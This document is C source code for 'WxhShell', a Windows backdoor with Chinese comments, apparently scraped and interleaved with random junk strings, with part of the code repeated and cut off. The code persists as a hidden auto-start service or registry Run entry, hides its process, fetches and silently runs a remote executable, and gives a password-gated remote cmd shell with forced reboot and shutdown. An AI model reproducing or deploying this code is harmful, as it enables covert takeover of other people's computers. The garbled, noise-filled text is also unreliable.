P<E if(NULL == hInst ) return 0; QU^?a~r w<=-n;2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); se]QEd7]7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YH$whJ`W0 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w,zgYX& KH76Vts if (!NtQueryInformationProcess) return 0; WEugm603 ,[ M^rv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e5.sqft if(!hProcess) return 0; [5jXYqD=vj 1FmqNf:V7I if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ST^{?Q o^&nkR CloseHandle(hProcess); 6ALUd^ AG<TY<nqL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W!WeYV}kb if(hProcess==NULL) return 0; 1jQlwT(: eWAgYe2 HMODULE hMod; 's6hCs&|NV char procName[255]; 23[X mBf unsigned long cbNeeded; ^Dw18gqr=@ 1c03<(FCd if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O2>W#7 &Kc'g H CloseHandle(hProcess); u}IQ)Ma 5QJFNE if(strstr(procName,"services")) return 1; // 以服务启动 BpZ17"\z @k,}>Tk return 0; // 注册表启动 A**PGy.Ni } )1S"D~j- \{M/Do: // 主模块 %W]"JwRu int StartWxhshell(LPSTR lpCmdLine) [+Y;w`;Fq { SB2Ij', SOCKET wsl; e`D? x1- BOOL val=TRUE; /2e,,)4g int port=0; qx\P(dOUf struct sockaddr_in door; ;tu2}1#r ?>o|H-R~5Z if(wscfg.ws_autoins) Install(); +c_8~C uNRT@@oCq port=atoi(lpCmdLine); / :@X< Luu.p< if(port<=0) port=wscfg.ws_port; : yC|Q) WL/9r
*jW WSADATA data; "f<+~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j*}2AI )MJy if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; GjvTYg~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $>y door.sin_family = AF_INET; '2.11cM3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); dX:#KdK door.sin_port = htons(port); :*{\oqFn~$ _Zs]za.#)| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gdfG3d$4 closesocket(wsl); *Me{G y return 1; JqYt^,,Q: } n^Sc*7 ^L;k if(listen(wsl,2) == INVALID_SOCKET) { Q.Ljz
Z closesocket(wsl); i@XFnt return 1; 5!)_"u3 } oc3}L^aD Wxhshell(wsl); (N25.}8Y WSACleanup(); '=eE6=m^K <FFaaGiE> return 0;
Rk.GrLp vswBK-w(Z } [v$NxmRu D&r2k
9 // 以NT服务方式启动 J=qPc}+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bP ,_H { }8cX0mZ1j DWORD status = 0; $1$T2'C~+ DWORD specificError = 0xfffffff; ;BMm47< F"M$ "rC] serviceStatus.dwServiceType = SERVICE_WIN32; +O,h<*y serviceStatus.dwCurrentState = SERVICE_START_PENDING; !%{s[eO\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^U4|TR6mub serviceStatus.dwWin32ExitCode = 0; Z6vm!#\ serviceStatus.dwServiceSpecificExitCode = 0; h8lI#Gs serviceStatus.dwCheckPoint = 0; pe1 _E
KU serviceStatus.dwWaitHint = 0; {l -V qxe%RYdA'j hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qW6}^aa if (hServiceStatusHandle==0) return; SMdkD]{g `F<[\@\d5 status = GetLastError(); B=`"!?we if (status!=NO_ERROR) 9&`ejeD { )c$)am\I{ serviceStatus.dwCurrentState = SERVICE_STOPPED; >av.pJ(> serviceStatus.dwCheckPoint = 0; ';z5]O~ serviceStatus.dwWaitHint = 0; -'OO6mU serviceStatus.dwWin32ExitCode = status; NJglONO serviceStatus.dwServiceSpecificExitCode = specificError; h8MkfHH7{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]XH}G9X^ return; JrdH6Zg } ].eY]o}= )tV^)n[w serviceStatus.dwCurrentState = SERVICE_RUNNING; Z|kMoB serviceStatus.dwCheckPoint = 0; >O{/%(9 serviceStatus.dwWaitHint = 0; uF=x o`=| if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yNb
:zoT } sC .R. {PCf'n // 处理NT服务事件,比如:启动、停止 E |A,NPf%I VOID WINAPI NTServiceHandler(DWORD fdwControl) T?Dq2UW { xf.2Ig switch(fdwControl) >xt*( j&} { MXxE)"G*a case SERVICE_CONTROL_STOP: P00pSRQHD serviceStatus.dwWin32ExitCode = 0; K{&b "Ba1 serviceStatus.dwCurrentState = SERVICE_STOPPED; |e@Bi#M[ serviceStatus.dwCheckPoint = 0; 6v9{$: serviceStatus.dwWaitHint = 0; $Di2BA4Di { Y%V|M0 0` SetServiceStatus(hServiceStatusHandle, &serviceStatus); d">Ya !W } 9$xEktfV return; plY`lqm case SERVICE_CONTROL_PAUSE: *0^t;A+ serviceStatus.dwCurrentState = SERVICE_PAUSED; '*KP{"3\ break; DjT ekn case SERVICE_CONTROL_CONTINUE: M\s^>7es serviceStatus.dwCurrentState = SERVICE_RUNNING; -0)So break; ~"*;lT5KX case SERVICE_CONTROL_INTERROGATE: B43o_H|s break; r]=3aebR. }; j{nkus2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); kPVP+}cA } .F~EQ % cg,_nG]i // 标准应用程序主函数 }<wj~f([ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2Z-BZu K6p { DT=! h ,@x5q>g // 获取操作系统版本 ~%Ws"1 OsIsNt=GetOsVer(); uxto:6),P< GetModuleFileName(NULL,ExeFile,MAX_PATH); 3\,TI`^C Xm`K@hJ@ // 从命令行安装 8<g_JW[% if(strpbrk(lpCmdLine,"iI")) Install(); C%P"Ds=w0N hfvs'. // 下载执行文件 _e_]$G/TM if(wscfg.ws_downexe) { ?nFT51t/4 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XU0"f!23x WinExec(wscfg.ws_filenam,SW_HIDE); ;D/'7f7.} } *TuoC5 azB~>#H~ if(!OsIsNt) { n^/,>7J // 如果时win9x,隐藏进程并且设置为注册表启动 ]T+.kC
M HideProc(); >NE]TZ.F StartWxhshell(lpCmdLine);
YV 9*B } qR_"aQ7s2 else %;9eh' if(StartFromService()) ZUyM:$ // 以服务方式启动 zYOPE 6E StartServiceCtrlDispatcher(DispatchTable); |k'I?:' else jkNZv. )p // 普通方式启动 WII_s|YSt% StartWxhshell(lpCmdLine); $Mx.8FC + kmW!0hm;e return 0; lb1(1|# } pAmTwe U
gB B`hxF(_p/ LFSOHJj =========================================== su=.4JcK
xuelo0h, "0L@cOyG /]xd[^ %!rsu-W:Y Yb =8\<; " Pr<?E[ #U/B,`= > #include <stdio.h> [uRsB5 #include <string.h> g{$&j*Q9 #include <windows.h> (oJ#`k:&n #include <winsock2.h> W,agPG\+ #include <winsvc.h> j7-#">YL #include <urlmon.h> }qz58]fyx ;T52aX #pragma comment (lib, "Ws2_32.lib") .: 7h=neEW #pragma comment (lib, "urlmon.lib") 7*XG]=z/ WaMn[/{ #define MAX_USER 100 // 最大客户端连接数 +N4h
Q" #define BUF_SOCK 200 // sock buffer 9Zrn(D #define KEY_BUFF 255 // 输入 buffer *8XGo .^kTb2$X #define REBOOT 0 // 重启 l:@.D|(o3 #define SHUTDOWN 1 // 关机 I)B2Z(<Q m Xw1%w[* #define DEF_PORT 5000 // 监听端口 #8/Z)-G dy`~%lX? #define REG_LEN 16 // 注册表键长度 1xtbhk]D #define SVC_LEN 80 // NT服务名长度 gdC=SFb b )QZ?Bf // 从dll定义API 6ldDt?iSg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C1G Wi4) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SwP h-6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b'-gy0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5?vIkf M(3E
b;` // wxhshell配置信息 6
*8G e struct WSCFG { gieX`} int ws_port; // 监听端口 U |4%ydG char ws_passstr[REG_LEN]; // 口令 *gT
TI;: int ws_autoins; // 安装标记, 1=yes 0=no n(o
Jb char ws_regname[REG_LEN]; // 注册表键名 %)aDh
}
char ws_svcname[REG_LEN]; // 服务名 xEiW]Eo char ws_svcdisp[SVC_LEN]; // 服务显示名 xUrfH$$!` char ws_svcdesc[SVC_LEN]; // 服务描述信息 ac&tpvij char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2=3iA09px int ws_downexe; // 下载执行标记, 1=yes 0=no L:^'cl}
G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vk_L*lcN char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2dI:],7 L,kF] }; sU}e78m h Z=H
fOC // default Wxhshell configuration i([A8C_A struct WSCFG wscfg={DEF_PORT, mA>Pr<aV: "xuhuanlingzhe", MoFZ 1, |]]fcJOBP "Wxhshell", ja>T nfu "Wxhshell", a,tP.Xsl "WxhShell Service", d~_OWCg` "Wrsky Windows CmdShell Service", l/I W"A "Please Input Your Password: ", iCEX|Tj; 1, n+i}>3'A "http://www.wrsky.com/wxhshell.exe", H5aUZ= "Wxhshell.exe" _88~uYG }; A=3U4L @LmUCP~ // 消息定义模块 QTyl=z7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $ `ho+ char *msg_ws_prompt="\n\r? for help\n\r#>"; . }1!MK5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BW*zj=N% char *msg_ws_ext="\n\rExit."; 3~S~)quwP char *msg_ws_end="\n\rQuit."; O0I/^ char *msg_ws_boot="\n\rReboot..."; ,#m\W8j char *msg_ws_poff="\n\rShutdown..."; _6[NYv$" char *msg_ws_down="\n\rSave to "; L`p[Dq. 5s|gKM char *msg_ws_err="\n\rErr!"; R`<E3J\* char *msg_ws_ok="\n\rOK!"; @F1pu3E bBQp:P?E char ExeFile[MAX_PATH]; 3whyIXs int nUser = 0; 2KX *x_- HANDLE handles[MAX_USER]; P"#^i<ut@T int OsIsNt; I'j?T. }l2JXf55 SERVICE_STATUS serviceStatus; ':[y]ep(~| SERVICE_STATUS_HANDLE hServiceStatusHandle; ](ninSX1w X3>(K1 // 函数声明 bC{~/ JP int Install(void); ?:2Xh/8- int Uninstall(void); uJ$"2<O int DownloadFile(char *sURL, SOCKET wsh); v;A int Boot(int flag); f;Dz(~hw void HideProc(void); XU54skN int GetOsVer(void); <*\J 6:^n int Wxhshell(SOCKET wsl); _\<M58/z void TalkWithClient(void *cs); +l#2u#e int CmdShell(SOCKET sock); &V;a: int StartFromService(void); .6hH}BM int StartWxhshell(LPSTR lpCmdLine); Mu%'cwp$ 4H:WpW*r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &d2/F i+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); o]j* <eI;Jph5 // 数据结构和表定义 iOyYf!yg SERVICE_TABLE_ENTRY DispatchTable[] = ppYz~ {"r { r3-3*_ {wscfg.ws_svcname, NTServiceMain}, ;CrA {NULL, NULL} ;Cy@TzO/| }; 3m^BYr*y^ nGt8u4gcP // 自我安装 w*}9;l int Install(void) l1??b
{ :)z_q!$j char svExeFile[MAX_PATH]; B?M+`; HKEY key; y/FisX strcpy(svExeFile,ExeFile); )v9[/
]*P 7-dwr?j7 // 如果是win9x系统,修改注册表设为自启动 BAhC-;B#R if(!OsIsNt) { M Q6Y^,B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7~16letQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i~;8'>:|,M RegCloseKey(key); 4|(?Wt)5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j.6kjQN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9NT;^K^I RegCloseKey(key); i_MI!o return 0; \x!>5Z
Y } LWI~m2 } Hj!)S&y,$ } D)_Ei'+*l else { dd$N4& {G}HZv%S U // 如果是NT以上系统,安装为系统服务 ,uv$oP- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yx"z&J9p if (schSCManager!=0) >W;i2%T { I%p#E#[G SC_HANDLE schService = CreateService qj1z>,\ ( X=3@M_Jzo schSCManager, ZeeuH"A wscfg.ws_svcname, |(%H O@i wscfg.ws_svcdisp, )>fi={!=c SERVICE_ALL_ACCESS, e-VLU; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !r|X6`g SERVICE_AUTO_START, j#& SERVICE_ERROR_NORMAL, >=V+X"\Z svExeFile, @I&"P:E0F; NULL, =Wf@'~K0k" NULL, TI>yi ^} NULL, tX251S NULL, @>Keu\) NULL {UcItLjY ); Ps7%:|K] if (schService!=0) =CoT{LRQ_ { L,6Y=? CloseServiceHandle(schService); HhL%iy1 CloseServiceHandle(schSCManager); |=LkV"_v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FT~^$)8= strcat(svExeFile,wscfg.ws_svcname); Ro<kp8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aW"!bAdx`, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .N=hA RegCloseKey(key); qj&)w9RLJE return 0; />C~a]} } }kj6hnQ } L|X5Ru CloseServiceHandle(schSCManager); :j~5(K" } 7m M;Q } {rT`*P~ o!~bR
return 1; to3J@:V8e } >| ?T| [R4x[36Zp // 自我卸载 ;X(n3F int Uninstall(void) ?_aR-[XRg { spJ(1F{|V HKEY key; I*}#nY0+ C t)MvZ if(!OsIsNt) { D.(G 9H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tWnm{mF RegDeleteValue(key,wscfg.ws_regname); ~8*oGG~s RegCloseKey(key); %K"%Qm=Tl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u7?juI#Cl RegDeleteValue(key,wscfg.ws_regname); j&A3s{S4A RegCloseKey(key); opMUt,4 return 0; 2~V Im#
} >x4[7YAU{ } d8HB2c5y0i } n5.>;N.* else { PQ}%}S7: Jj:6
c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \w^QHX1+ if (schSCManager!=0) {ah=i8$ { *Xoscc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wq(l :W' if (schService!=0) R`2A-c { Net)l@IB] if(DeleteService(schService)!=0) { #[y<h3f] CloseServiceHandle(schService); N}fUBX4k CloseServiceHandle(schSCManager); ,:4DN&< return 0; t1jlxK } ht)nx,e= CloseServiceHandle(schService); pFTlhj)1 } |*KS<iHr% CloseServiceHandle(schSCManager); ,g_onfY } 6
]Oxx{|} } 0j(jJAE. B#"|5 return 1; SDHc[66' } nKB&|! ti^v%+r1 // 从指定url下载文件 c^O#O int DownloadFile(char *sURL, SOCKET wsh) z,FTsR$x { _I_?k+#WFe HRESULT hr; 1~DD9z char seps[]= "/"; 1G%PXrEj8 char *token; ]^9*
t,{9 char *file; y?n2`l7f char myURL[MAX_PATH]; UMuuf6 char myFILE[MAX_PATH]; ]"Y%M' kQVDC,d strcpy(myURL,sURL); ~9r!m5ws token=strtok(myURL,seps); S9R]Zl7{- while(token!=NULL) k0_$M{@Y { qQOD file=token; <m,yFk token=strtok(NULL,seps); K;p<f{PE } BD7@Mj*| Pzp+I} GetCurrentDirectory(MAX_PATH,myFILE); pXh~#o6V strcat(myFILE, "\\"); K\+}q{ strcat(myFILE, file); &4Con%YU[ send(wsh,myFILE,strlen(myFILE),0); HI\f>U send(wsh,"...",3,0); *fi;ZUPW3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P%sO(_PuT if(hr==S_OK) NOr
<, return 0;
}{xN`pZ else ZQ~myqx,+L return 1; ^mueFw}\ ;Q=GJ5`B } {Mr~%y4 ^2^|AXNES // 系统电源模块 5!F\h'E int Boot(int flag) ZBmXaP[9 { #RM3^]h HANDLE hToken; F|l`YtZZd TOKEN_PRIVILEGES tkp; =6L*!JP< `{U%[$<[W if(OsIsNt) { y[p$/$bgC5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ml.;wB| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r1ok u0 o tkp.PrivilegeCount = 1; $54=gRo^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <D!c
~*[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /3Nb if(flag==REBOOT) { Pc)VK>.fc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U2V^T'Y[ return 0; .L7Yf+yFg } /^LH else { *)bd1B# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d"I28PIS" return 0; 'DzBp } 8.CKH4h } )!k_Gb`#X else { 8b 8\ if(flag==REBOOT) { 0^9:KZ.! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }B"|z'u return 0; E-sSRt } :,NFFN else { e" Eqi- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z0 2}&^Zzk return 0; /&$"}Z6z } TTZ['HP
oI } 1a&/Zlr t0e{|du return 1; M_h8#7 {G } U.RW4df%E VJN/#
// win9x进程隐藏模块 O:;OR'N9 void HideProc(void) ^p 2.UW { g={]Mzh N&fW9s} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *O+R|Cdp/ if ( hKernel != NULL ) f4'El2>-86 { v`S2M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )C>}"#J> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -".kH<SWv FreeLibrary(hKernel); mA(nyF } "mPSA Z jVad)2D return; *%X6F~h(u } vZb|!#I Cs:+93w // 获取操作系统版本 ^n&]HzT`y int GetOsVer(void) s>jr1~~3O_ { O`i)?BC OSVERSIONINFO winfo; X!o[RJY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _BG8/"h32 GetVersionEx(&winfo); %/l-A
pu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'y4zBLY return 1; g.I(WJX0 else #y=ZP:{:t return 0; R2}kz. } %n05Jitl @up&q // 客户端句柄模块 }_{y|NW int Wxhshell(SOCKET wsl) 5/B#) gm { D:wnO|: SOCKET wsh; +`;+RDKY* struct sockaddr_in client; 0A#*4ap DWORD myID; >vWEUE[ U~uwm/h while(nUser<MAX_USER) 6FL?4>MZ
{ _urG_~q int nSize=sizeof(client); J| SwQE~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YBX)eWslK if(wsh==INVALID_SOCKET) return 1; (U|)xA]y! C=N!z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^Xs%.`Gv/ if(handles[nUser]==0) P<%v+O closesocket(wsh); $!!R:Wn/R else tm(v~L%$>] nUser++; (VgNb&Yo9 } 7:n?PN(p6a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,YjxCp3 u`'ki7LA return 0; >M?H79fF2s } !|:RcH[ $hh+0hs // 关闭 socket :?HSZocf void CloseIt(SOCKET wsh) %'N$lF"] { !*&4< _ closesocket(wsh); ,-@xq.D nUser--; 807al^s
x ExitThread(0); bqSMDK } JXH",""bq glv ;C/l // 客户端请求句柄 ?4^};wDb2 void TalkWithClient(void *cs) ,09DBxQq, { 'gCJ[ ce gs?8Wzh90* SOCKET wsh=(SOCKET)cs; :'Zx{F` char pwd[SVC_LEN]; LU%#mY char cmd[KEY_BUFF]; c$9sF@K? char chr[1]; R7lYu\mA int i,j; ~?gzq~~t .>}BNy while (nUser < MAX_USER) { 0HqPyM13Q $=/rGpAk if(wscfg.ws_passstr) { P{?;T5ap6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G'u|Q
mb1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'e F% //ZeroMemory(pwd,KEY_BUFF); `M&P[.9Pz i=0; !X-9Ms}(d while(i<SVC_LEN) { j(j#0dXLh [w!C*_V 9 // 设置超时 # Mu<8`T- fd_set FdRead; ^w.]Hd2 struct timeval TimeOut; w&%9IJ FD_ZERO(&FdRead); sa*g FD_SET(wsh,&FdRead); Uo~T'mA" TimeOut.tv_sec=8; >?z:2@Q)B TimeOut.tv_usec=0; H
nK!aa int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {@3z\wMK$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vd`O aM}#U PSPTL3_~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Tm`d ?^ pwd=chr[0]; }3Qc 24` if(chr[0]==0xd || chr[0]==0xa) { a"x}b pwd=0; bl=ku<}@ break; GMl"{Oxo& } H<g 1m i++; /jM_mrpz } }`9jH:q-Z ?ty>}.c t // 如果是非法用户,关闭 socket >z(wf>2J if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q]CeD } 1w`2Dt LT/mb2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S#tY@h@XV send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :_v!#H) @OzMiN while(1) { Hfh!l2P fN@{y+6 ZeroMemory(cmd,KEY_BUFF); [
7g>< >%u@R3PH] // 自动支持客户端 telnet标准 AotCX7T2T j=0; #.H}r6jqs while(j<KEY_BUFF) { X3<K 1/< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P;73Hr[E# cmd[j]=chr[0]; h$>wv` if(chr[0]==0xa || chr[0]==0xd) { 1c$vLo832 cmd[j]=0; J/ vK6cO\ break; nq1
'F } 7tRi"\[5 j++; <YH=3[ } HJIC<U \|.7-X // 下载文件 Tg0CE60"
if(strstr(cmd,"http://")) { yrnv!moc%t send(wsh,msg_ws_down,strlen(msg_ws_down),0); `rlk|&T1 if(DownloadFile(cmd,wsh)) 0]B(a send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^}_j
vT else +>SRrIi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f"dSr
} b5<okICD else { 22&;jpL'?
lj4o#^lC switch(cmd[0]) { py
@(
< l(!/Q|Q| // 帮助 E"6X|I n case '?': { ! \sMR send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wksl0:BL break; :QPf~\w? } rQb7?O@- // 安装 -R
b{^/ case 'i': { _[t8rl if(Install()) ?T!)X)A# send(wsh,msg_ws_err,strlen(msg_ws_err),0); yz8jU*H else $,ikv?"L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O6X"RsI} break; Ch19h8M } 1& ^?U{ // 卸载 +.kfU)6@ case 'r': { U>a\j2I if(Uninstall()) Jxa4hM0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yf}xwpuLk else *z8|P#@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0^3+P%(o@ break; \~~ }N4 } TB!((' // 显示 wxhshell 所在路径 T^:fn-S}= case 'p': { 4CrLkr char svExeFile[MAX_PATH]; p*20-!{A strcpy(svExeFile,"\n\r"); sOpep strcat(svExeFile,ExeFile); <%P2qgz5 send(wsh,svExeFile,strlen(svExeFile),0); D+RiM~LH8 break; xr%#dVk } h&;t.Gdf // 重启 nB5zNyY4 case 'b': { kXrlSaIc send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KOhA) if(Boot(REBOOT)) a`!@+6yC send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^5; `-Ky else { 2VoKr) closesocket(wsh); _>yoX ExitThread(0); lz<]5T| } oM1Qh? break; f-SuM% S_ } JSr$-C
fH // 关机 ]uQqn]+I! case 'd': { mJ}opy!{; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =1.9/hW if(Boot(SHUTDOWN)) ._PzYE|m2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~}"]&%Q{J else { ?LK 2g closesocket(wsh); !EIjN
ExitThread(0); 1P(&J } U;q];e:,=} break; SF[FmN!^^ } t#i,1aHA // 获取shell n6<V+G)T case 's': { SUM4Di7 CmdShell(wsh); #oni:] E!m closesocket(wsh); {{yZ@>o6 ExitThread(0); Wwujh2g"0| break; cC'x6\a } yR;{ // 退出 Y>+y(ck case 'x': { x[3A+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nh>K`+>co CloseIt(wsh); cV{o?3<:B break; F4L;BjnJ } o*rQP!8,oy // 离开 x1&W^~ case 'q': { 6CbxuzYer send(wsh,msg_ws_end,strlen(msg_ws_end),0); $~;D9 closesocket(wsh); -E"GX WSACleanup(); /X'(3'a exit(1); [`RX*OH2 break; \QE)m<GUe } ^=
0m-/ } ]X Z-o>+, } `;l .MZL! .iX# A<E} // 提示信息 ?>"Yr,b? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #~O b)q| } f"1>bW>R+ } *3/T;x. ]n."<qxeT return; ::FS/Y]Fg } mtz#}qD66 PjA6Ji;Hu // shell模块句柄 -#!x|ne int CmdShell(SOCKET sock) /,=@8k!t? {
-!W<DJ* STARTUPINFO si; 9}a_:hAy/ ZeroMemory(&si,sizeof(si)); 3I\n_V< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7\FXz'hA si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V-'K6mn; PROCESS_INFORMATION ProcessInfo; fjk\L\1 char cmdline[]="cmd"; W6 H,6v CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l<0}l^C. return 0; X4l@woh%
} xj5;: g#! YW u cvw& // 自身启动模式 ABE@n%|` int StartFromService(void) :G\<y { I$N8tn+E typedef struct t58e(dgi { <Rh6r}f DWORD ExitStatus; r}[7x]sP DWORD PebBaseAddress; J:&[59 DWORD AffinityMask; WOuEW w= DWORD BasePriority; ]e.JNo ULONG UniqueProcessId; ^uv<6 ULONG InheritedFromUniqueProcessId; mKo C.J } PROCESS_BASIC_INFORMATION; [ i#zP 4vBL6!z:Z PROCNTQSIP NtQueryInformationProcess; ~.;<
Bj ;JZS^Wa static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yE[#ze static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J+d1&Tw& ok|qyN+ HANDLE hProcess; V,rq0xW PROCESS_BASIC_INFORMATION pbi; 3gd&i oy<WsbnS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8JmFi if(NULL == hInst ) return 0; <! )** Hx,0zS%> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }!IL]0q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]Oq[gBL"A NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .9Y)AtJTS y ]?V~% if (!NtQueryInformationProcess) return 0; 5j~$Mj` .tD*2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?QE,;QtpK if(!hProcess) return 0; |2{wG4 >4t+:Ut: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?-^~f OS8q( 2z?s CloseHandle(hProcess); (?nCyHC%g _h}kp\sps hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^Q+g({
if(hProcess==NULL) return 0; /0Ax*919j c("_bOAT HMODULE hMod; S)DnPjN{ char procName[255]; U8
